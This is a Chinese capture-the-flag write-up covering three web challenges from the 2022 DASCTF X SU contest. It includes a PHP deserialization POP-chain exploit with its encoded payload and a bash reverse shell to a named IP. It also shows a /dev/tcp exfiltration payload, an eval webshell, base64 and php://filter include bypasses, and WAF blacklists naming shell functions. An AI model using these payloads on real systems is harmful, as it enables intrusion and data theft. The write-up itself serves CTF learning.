2022DASCTF X SU 三月春季挑战赛 web

1.ezpop

2.calc

3.upgdstore


ezpop

给出了源码:

<?php

class crow
{
    public $v1;
    public $v2;

    function eval() {
        echo new $this->v1($this->v2);
    }

    public function __invoke()
    {
        $this->v1->world();
    }
}

class fin
{
    public $f1;

    public function __destruct()
    {
        echo $this->f1 . '114514';
    }

    public function run()
    {
        ($this->f1)();
    }

    public function __call($a, $b)
    {
        echo $this->f1->get_flag();
    }

}

class what
{
    public $a;

    public function __toString()
    {
        $this->a->run();
        return 'hello';
    }
}
class mix
{
    public $m1;

    public function run()
    {
        ($this->m1)();
    }

    public function get_flag()
    {
        eval('#' . $this->m1);
    }

}

if (isset($_POST['cmd'])) {
    unserialize($_POST['cmd']);
} else {
    highlight_file(__FILE__);
}
?>

显然,这是要我们找到一条POP链。
我们从目的出发,找到可以利用的函数eval()——可以将字符串按照php代码来计算。如果传入system()函数调用外部命令实现rce,就有可能找到flag。
可以明确用mix::get_flag()函数触发eval(),那么,如何触发mix::get_flag()
1、通过mix::run()触发,但这样会限制$m1为"get_flag",从而无法利用eval()执行命令,行不通;
2、通过fin::__call($a, $b)触发,将mix传入fin的$f1即可,可行。
接下来,如何触发fin::__call($a, $b)成了问题,目前就只形成了这样的链子
fin::__call() --> mix::get_flag()
倒推困难,我们就找入口正推。这里注意到这样几个魔术方法

__destruct()  //当对象被销毁时触发
__toString()  //当把类当作字符串使用时触发
__invoke()    //当对象调用为函数时触发
__call()      //当对象上下文中调用不可访问的方法时触发

fin::_destruct()恰好可以用来触发what::_toString(),从而可以触发run(),继而再触发一个函数,如果触发_invoke(),由于world()不可访问,就可以用之触发_call(),从而形成完整的POP链:
fin::__destruct() --> what::__toString() --> fin::run() --> crow::__invoke() --> fin::__call() --> mix::get_flag()(这里用的fin::run(),另一个似乎也可以)。

另一个需要注意的点是:eval()用'#'进行了过滤,因此还需要绕过,这里可以选用?>闭合,也可以选用\n换行符!
构造exp如下:

<?php

class crow
{
    public $v1;
    public $v2;

    function eval() {
        echo new $this->v1($this->v2);
    }

    public function __invoke()
    {
        $this->v1->world();
    }
}

class fin
{
    public $f1;

    public function __destruct()
    {
        echo $this->f1 . '114514';
    }

    public function run()
    {
        ($this->f1)();
    }

    public function __call($a, $b)
    {
        echo $this->f1->get_flag();
    }

}

class what
{
    public $a;

    public function __toString()
    {
        $this->a->run();
        return 'hello';
    }
}
class mix
{
    public $m1;

    public function run()
    {
        ($this->m1)();
    }

    public function get_flag()
    {
        eval('#' . $this->m1);
    }

}

//fin::__destruct() --> what::__toString() --> fin::run() --> crow::__invoke() --> fin::__call() --> mix::get_flag()

$a=new fin();//为了调用__destruct()方法
$b=new fin();
//$b=new mix;
$c=new fin();
$d=new crow();
$e=new what();
$f=new mix();

$a->f1=$e;//为了调用__toString()方法
$e->a=$b;//为了去调用run方法
$b->f1=$d;//为了去调用__invoke()方法
$d->v1=$c;//为了去调用__call()方法
$c->f1=$f;//为了去调用get_flag()方法 
$f->m1="\nsystem('ls /');" ;//用 \n 绕过注释符

echo urlencode(serialize($a));
?>

得到O%3A3%3A%22fin%22%3A1%3A%7Bs%3A2%3A%22f1%22%3BO%3A4%3A%22what%22%3A1%3A%7Bs%3A1%3A%22a%22%3BO%3A3%3A%22fin%22%3A1%3A%7Bs%3A2%3A%22f1%22%3BO%3A4%3A%22crow%22%3A2%3A%7Bs%3A2%3A%22v1%22%3BO%3A3%3A%22fin%22%3A1%3A%7Bs%3A2%3A%22f1%22%3BO%3A3%3A%22mix%22%3A1%3A%7Bs%3A2%3A%22m1%22%3Bs%3A16%3A%22%0Asystem%28%27ls+%2F%27%29%3B%22%3B%7D%7Ds%3A2%3A%22v2%22%3BN%3B%7D%7D%7D%7D

最后用bp传参即可(这里用ls /命令查根目录较麻烦,于是用ls查当前目录,也不很好找,最后选择用cat *查看所有文件,结果如下图)

成功找到flag!

**
该题在构造pop链上思路不算混乱(可能跟我偷看了一眼wp有关),但是在传参上遇到了很大的问题,一方面HackBar(估计是HB自身问题)总是失败搞人心态,另一方面用burp suite发送POST请求的方法没有掌握,即有三个地方需要修改:
1、GET修改为POST方法
2、加上媒体类型信息:Content-Type: application/x-www-form-urlencoded
3、末尾添加需上传语句:cmd=xxxx
**

另外有师傅在构造exp时传入"?><? @eval(\$_POST[b]);",继而利用蚁剑连接找flag,但是博主尚未弄清蚁剑🗡的这一功能,待研究后更新。
详情请访问这位师傅的Blog【2022DASCTF X SU】 三月春季挑战赛 web复现

calc

题目上来就给个计算器,打开源码,发现是用python写的计算器。源码放在下面:

#coding=utf-8
from flask import Flask,render_template,url_for,render_template_string,redirect,request,current_app,session,abort,send_from_directory
import random
from urllib import parse
import os
from werkzeug.utils import secure_filename
import time


app=Flask(__name__)

def waf(s):
    blacklist = ['import','(',')',' ','_','|',';','"','{','}','&','getattr','os','system','class','subclasses','mro','request','args','eval','if','subprocess','file','open','popen','builtins','compile','execfile','from_pyfile','config','local','self','item','getitem','getattribute','func_globals','__init__','join','__dict__']
    flag = True
    for no in blacklist:
        if no.lower() in s.lower():
            flag= False
            print(no)
            break
    return flag
    

@app.route("/")
def index():
    "欢迎来到SUctf2022"
    return render_template("index.html")

@app.route("/calc",methods=['GET'])
def calc():
    ip = request.remote_addr
    num = request.values.get("num")
    log = "echo {0} {1} {2}> ./tmp/log.txt".format(time.strftime("%Y%m%d-%H%M%S",time.localtime()),ip,num)
    
    if waf(num):
        try:
            data = eval(num)
            os.system(log)
        except:
            pass
        return str(data)
    else:
        return "waf!!"


if __name__ == "__main__":
    app.run(host='0.0.0.0',port=5000) 

审查代码发现有GET传参,找到了口子。分析可知是用GET传参控制num变量,作为log = "echo {0} {1} {2}> ./tmp/log.txt"中的{2}。再看下去就能发现两个很敏感的函数:

  data = eval(num) //
  os.system(log) //将字符串转化成命令在服务器上运行

os.system()
由于numwaf()过滤得太多,我们只能把目标放在os.system(log)上,想办法对log下手,查找bash shell中可以做命令替换的函数:$()、eval()与``反引号,由于$和eval被过滤,这里只能选用反引号(优先执行`代码`)。[资料查阅:反引号与$()的区别以及eval的作用]
需要注意的是,程序会将num插入到log字符串的最后然后先后执行 eval(num)和os.system(log),因此不能让eval(num)报错而无法进行下一步,考虑python的特性,想到可以利用注释符#注释。
接下来,我们希望建立反弹shell,将其命令行的输入输出转到我们的攻击端

bash -i >& /dev/tcp/攻击端IP/攻击端监听端口 0>&1
bash -i >& /dev/tcp/101.43.119.212/12306 0>&1

[资料查阅:Linux下反弹shell的原理]
但是&也被ban了,没法直接用,但是也能得出一个思路:输出重定向到攻击机
payload:/calc?num=1%23`ls%09>/dev/tcp/IP/2333`
这里由于空格被过滤,ls >写成ls%09>,然后在攻击端监听2333端口nc -lvp 2333
然后修改ls命令即可,这里博主服务器监听不到,仍然在找问题。


upgdstore

文件上传题,随便上传一个文件试试

由此可以得知该题目只能上传php文件。直接试试webshell.php传一句话木马,结果不出意料的失败了,又试了几个木马的变形,发现都无济于事,像无头苍蝇一样乱撞。只传入phpinfo()看看有什么收获

发现一大堆disable_functions,基本上所有的恶意函数全部都被过滤,接下来试试用拼接绕过的办法读取/etc/passwd

Linux 系统中的 /etc/passwd 文件,是系统用户配置文件,存储了系统中所有用户的基本信息,并且所有用户都可以对此文件执行读操作。

这里我们用最常用的file_get_contents() 函数来读取文件

<?php
echo ("fil"."e_get_c"."ontents")("/etc/passwd");
?>

成功读取。
那么根据Web服务器的默认根文件夹/var/www/html,可以尝试读取网站源码(这里尝试index.php),将文件代码改为

<?php
echo ("fil"."e_get_c"."ontents")("/var/www/html/index.php");
?>

上传后打开,查看源码

<?php
function fun($var): bool{
    $blacklist = ["\$_", "eval","copy" ,"assert","usort","include", "require", "$", "^", "~", "-", "%", "*","file","fopen","fwriter","fput","copy","curl","fread","fget","function_exists","dl","putenv","system","exec","shell_exec","passthru","proc_open","proc_close", "proc_get_status","checkdnsrr","getmxrr","getservbyname","getservbyport", "syslog","popen","show_source","highlight_file","`","chmod"];

    foreach($blacklist as $blackword){
        if(strstr($var, $blackword)) return True;
    }

    
    return False;
}
error_reporting(0);
//设置上传目录
define("UPLOAD_PATH", "./uploads");
$msg = "Upload Success!";
if (isset($_POST['submit'])) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$file_name = $_FILES['upload_file']['name'];
$ext = pathinfo($file_name,PATHINFO_EXTENSION);
if(!preg_match("/php/i", strtolower($ext))){
die("只要好看的php");
}

$content = file_get_contents($temp_file);
if(fun($content)){
    die("诶,被我发现了吧");
}
$new_file_name = md5($file_name).".".$ext;
        $img_path = UPLOAD_PATH . '/' . $new_file_name;


        if (move_uploaded_file($temp_file, $img_path)){
            $is_upload = true;
        } else {
            $msg = 'Upload Failed!';
            die();
        }
        echo '<div style="color:#F00">'.$msg." Look here~ ".$img_path."</div>";
}

发现过滤掉了$_、eval、assert等字符串,也难怪最初尝试的后门上传失败。于是先上传了webshell的base64编码php文件——a.php

<?php @eval($_POST[1]); ?>//不要忘记在php关键字后加空格!!!
base64编码绕过——>
PD9waHAgQGV2YWwoJF9QT1NUWzFdKTsgPz4=

反引号被ban,也不知道如何把代码读取出来然后解码,也断绝了我用base64解码后再执行的想法。在其他大佬那里学到了PHP伪协议,了解到php://filter+convert.base64-decode过滤器能解决问题。

php://filter可以获取指定文件源码。当它与包含函数结合时,php://filter流会被当作php文件执行

php://filter/convert.base64-decode/resource=39ab6b7b4e9946f4fef4d99ee6be3446.php//php文件是刚刚上传的a.php
base64编码绕过——>
cGhwOi8vZmlsdGVyL2NvbnZlcnQuYmFzZTY0LWRlY29kZS9yZXNvdXJjZT0zOWFiNmI3YjRlOTk0NmY0ZmVmNGQ5OWVlNmJlMzQ0Ni5waHA=

只需要用上述代码将上传的a.php代码读取出来然后再用包含函数include结合即可,因此再上传b.php(php函数名不区分大小写,可利用此点绕过)
<?php Include(base64_decode("cGhwOi8vZmlsdGVyL2NvbnZlcnQuYmFzZTY0LWRlY29kZS9yZXNvdXJjZT0zOWFiNmI3YjRlOTk0NmY0ZmVmNGQ5OWVlNmJlMzQ0Ni5waHA="));?>
但是博主尝试了一段时间结果怎么也传不上去,人麻中麻了属于是,结果发现是上传的文件名(web64.php)经md5加密然后base64编码后出现了dl,被过滤了。换了名字后成功上传。

执行命令成功,但是蚁剑无法连接(大抵是因为有太多函数被ban了),只能用其他办法解决了。

网上查阅其他师傅的wp,发现要用到LD_PRELOAD劫持,后期学习更新。

资料:浅谈LD_PRELOAD劫持

posted @   ohvy  阅读(187)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· TypeScript + Deepseek 打造卜卦网站:技术与玄学的结合
· Manus的开源复刻OpenManus初探
· AI 智能体引爆开源社区「GitHub 热点速览」
· 三行代码完成国际化适配,妙~啊~
· .NET Core 中如何实现缓存的预热?
点击右上角即可分享
微信分享提示